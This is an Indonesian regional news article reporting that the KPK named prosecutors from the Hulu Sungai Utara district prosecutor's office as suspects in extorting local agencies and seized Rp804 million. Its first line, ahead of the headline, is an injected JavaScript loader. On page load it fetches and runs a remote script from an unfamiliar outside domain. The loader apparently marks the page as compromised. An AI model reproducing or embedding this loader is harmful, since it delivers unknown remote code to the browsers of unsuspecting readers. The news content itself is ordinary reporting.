(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kajari HSU dan Kasi Intel Peras Kadis, KPK Sita Uang Rp804 Juta


KANALKALIMANTAN.COM, JAKARTA – Dua jaksa karier dari Kejaksaan Negeri (Kejari) Kabupaten Hulu Sungai Utara (HSU), Provinsi Kalimantan Selatan (Kalsel) muncul sebagai tersangka dugaan tindak pidana korupsi tahun anggaran 2025-2026.

Dalam konferensi pers, Sabtu (20/12/2025) pagi, Komisi Pemberantasan Korupsi (KPK) di Jakarta mengungkap modus pemerasan yang dilakukan oleh Kepala Kejaksaan Negeri (Kajari) HSU APN (Albertinus Parlinggoman Napitupulu) kepada sejumlah Satuan Perangkat Kerja Daerah (SKPD) di lingkup Pemerintah Kabupaten HSU.

Plt Deputi Penindakan dan Eksekusi KPK, Asep Guntur Rahayu mengungkapkan, jika APN menerima aliran total uang sebesar Rp804 juta berasal dari dugaan tindak pidana pemerasan APN, di antaranya kepada Dinas Pendidikan, Dinas Kesehatan, Dinas Pekerjaan Umum, dan Rumah Sakit Umum Daerah (RSUD).

Baca juga: PN Banjarbaru Angkat Bicara Soal Eksekusi Lahan di Jalan Aneka Tambang

“Permintaan tersebut disertai dengan ancaman, itu dengan modus bahwa agar laporan pengaduan atau Labdu dari Lembaga Swadaya Masyarakat yang masuk ke Kejari HSU terkait dinas tersebut tidak akan ditindak lanjuti proses hukumnya,” ujar Asep Guntur Rahayu saat mengungkap kronologi kejadian.

Kurun waktu November-Desember 2025, dari permintaan tersebut APN diduga menerima aliran uang sebesar Rp804 juta. Terbagi dalam dua klaster perantara, yakni TAR (Tri Taruna Fariadi) selaku Kasi Datum Kejari HSU dan ASB (Asis Budianto) selaku Kasi Intelijen Kejari HSU.

Untuk klaster pertama, dari TAR menerima dana dari RHM (Rahman Heridi)  selaku Kepala Dinas Pendidikan HSU senilai Rp270 juta, dan dari FVN (Farida Evana) selaku Direktur RSUD Pambalah Batung Amuntai diterima sebesar Rp235 juta.

Plt Deputi Penindakan dan Eksekusi KPK, Asep Guntur Rahayu. Foto: tangkap layar

Baca juga:Wabup Kapuas Hadiri Natal Bersama Jemaat Desa Pulau Kaladan

Selanjutnya pada klaster kedua atau aliran uang haram melalui penerimaan dana dilakukan melalui perantara ASB (Kasi Intel), dari YND (M Yani Friadi) selaku Kepala Dinas Kesehatan Kabupaten HSU sejumlah Rp149,3 juta.

“ASB yang merupakan perantara APN tersebut bergerak dalam periode Februari-Desember 2025, jadi ASB ini lebih duluan ada di Kejari HSU. Diduga juga menerima aliran uang dari sejumlah pihak sebesar Rp63,2 juta,” sebut dia.

Asep Guntur Rahayu menjelaskan, selain melakukan dugaan tindak pidana pemerasan, APN turut diduga melakukan pemotongan anggaran Kejari HSU melalui bendahara yang digunakan untuk dana operasional pribadi.

Dana tersebut berasal dari pengajuan pencairan Tambahan Uang Persediaan (TUP) sejumlah Rp257 juta, tanpa surat perintah perjalanan dinas SPPD dan pemotongan dari para unit kerja atau seksi.

Baca juga: Wabup Kapuas Hadiri Natal Bersama Jemaat Desa Pulau Kaladan

Kejari HSU ini juga diduga mendapat penerimaan lainnya sejumlah Rp450 juta dengan rincian transfer ke rekening istri APN senilai Rp450 juta, dari Kadis PUPR dan Sekwan DPRD HSU dalam periode Agustus sampai November 2025 sebesar Rp45 juta.

Sementara itu, selain menjadi perantara APN, terhadap TAR juga diduga menerima aliran uang mencapai Rp1,07 miliar dengan rincian sesuai dengan keterangan saksi dan  bukti-bukti yang ditemukan bahwa pada tahun 2022 yang berasal dari mantan Kepala Dinas Pendidikan HSU senilai Rp930 juta.

Kemudian pada tahun 2024 yang berasal dari rekanan sebesar Rp140 juta. Dari kegiatan penangkapan ini, KPK turut mengamankan sejumlah barang bukti yang disita dari kediaman APN berupa uang tunai sebesar Rp318 juta.

“Setelah dilakukan pemeriksaan intensif pada tahap penyelidikan dan telah ditemukan unsur dugaan peristiwa pidananya, maka perkara tindak pidana korupsi di Kabupaten HSU diputuskan naik ke tahap penyelidikan, dan melalui proses permintaan keterangan, pengumpulan bukti-bukti, dalam ekspos perkara tersebut dinyatakan naik ke penyidikan,” jelasnya.

Baca juga: OTT Jaksa Kejari HSU, KPK Amankan Uang Ratusan Juta

KPK selanjutnya melakukan penahanan terhadap para tersangka Untuk 20 hari pertama, sejak tanggal 19 Desember 2025 sampai dengan 8 Januari 2026.

Atas perbuatannya para tersangka disangkakan melanggar Pasal 12 huruf E, Pasal 12 huruf F Undang-Undang nomor 31 tahun 1999 sebenarnya tersebut adalah setelah diubah dengan Undang-Undang nomor 20 tahun 2002 junto Pasal 55 ayat (1) ke 1 KUHP junto Pasal 64 KUHP.

Dalam penetapan tersangka, KPK menetapkan tiga orang oknum jaksa di HSU yakni APN selaku Kajari HSU, ASB selaku Kasi Intelijen dan TAR selaku Kasi Datum.

Namun, dalam konferensi pers KPK hanya membawa dua orang tersangka yakni APN dan ASB. Sedangka TAR masuk dalam daftar pencarian orang dan saat ini tengah dalam pencarian oleh petugas. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Risa

Recent Posts

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

1 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

15 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

17 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

22 jam ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

24 jam ago

PWI Kalteng Gelar Konferda, PLN UPT Palangkaraya Terima Penghargaan Peduli Pers

KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More

2 hari ago

This website uses cookies.